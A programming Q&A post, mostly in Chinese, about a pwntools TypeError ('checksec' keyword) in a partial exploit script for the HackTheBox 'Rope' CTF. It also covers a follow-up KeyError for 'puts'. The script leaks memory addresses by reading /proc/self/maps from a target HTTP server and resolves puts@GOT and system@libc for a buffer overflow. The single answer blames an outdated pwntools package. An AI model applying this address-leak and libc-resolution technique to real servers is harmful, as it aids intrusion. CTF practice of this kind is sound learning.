python - TypeError : __init__() got an unexpected keyword argument 'checksec'

Question

我正在观看此视频https://youtu.be/GTQxZlr5yvE?t=2185(Ippsec的Rope CTF)，他定义了checksec参数。
该漏洞利用是httpserver(自定义服务器)中的缓冲区溢出。第1步工作正常。 第一个错误在步骤2处发生在 elf = ELF(“./httpserver”，checksec = False)和 libc = ELF(“./libc.so.6.32.self”，checksec = False)

from pwn import *
import requests

context(arch="i686",os="linux")

RHOST = '127.0.0.1'
RPORT = '9999'

def getFile(file):
 header = {"Range" : "bytes=0-4096"}
 r = requests.get(f"http://{RHOST}:{RPORT}/{file}",headers=header)
 return r.text

#step 1. Find Address #THIS PART WORKS FINE

log.info("Finding Binary/Libc Location via /proc/self/maps")
maps = getFile("/proc/self/maps")
addr_bin = maps.split('\n')[0][:8] #addr of httpserver
addr_libc = maps.split('\n')[6][:8] #addr of libc.so.6
log.success(f"Binary is at : 0x{addr_bin}")
log.success(f"Binary is at : 0x{addr_libc}")

#step 2. Calculating offsets #THIS SECTION ERROR OCCURS

log.info("Finding the address of PUTS + SYSTEM()")
elf = ELF("./httpserver" , checksec=False) #<----ERROR HERE checksec
libc = ELF("./libc.so.6.32.self", checksec= False) #<----ERROR HERE checksec
elf.address = int(addr_bin, 16)
libc.address = int(addr_libc, 16)
got_puts = elf.got['puts'] #<----ERROR HERE puts
system = libc.symbols['system']
log.success(f"Puts@GOT: {got_puts}")
log.success(f"SYSTEM@LIBC: {system}")

当我运行代码时，出现此错误

Traceback (most recent call last):
  File "/home/evildead/Desktop/ctf/htb/rope/files/exploit.py", line 27, in <module>
    elf = ELF("./httpserver" , checksec= False)
TypeError: __init__() got an unexpected keyword argument 'checksec'

我在Google上搜索了此错误，但找不到任何有关它的信息。请你帮我一下!我尝试安装“pip install pyelftools”，但收到相同的错误。注释 checksec = False 部分时，我没有出现错误，但是再次运行代码时，它给了我第二个错误

Exception has occurred: KeyError
'puts'
  File "/home/evildead/Desktop/ctf/htb/rope/files/exploit.py", line 30, in <module>
    got_puts = elf.got['puts']

谁能告诉我如何解决这些错误？我不能练习:(

Answer 1

我相信您捕获了Python3-PwnTools，这是pwntools不支持py3时的旧版本。安装常规的“pwntools”，它应该可以工作。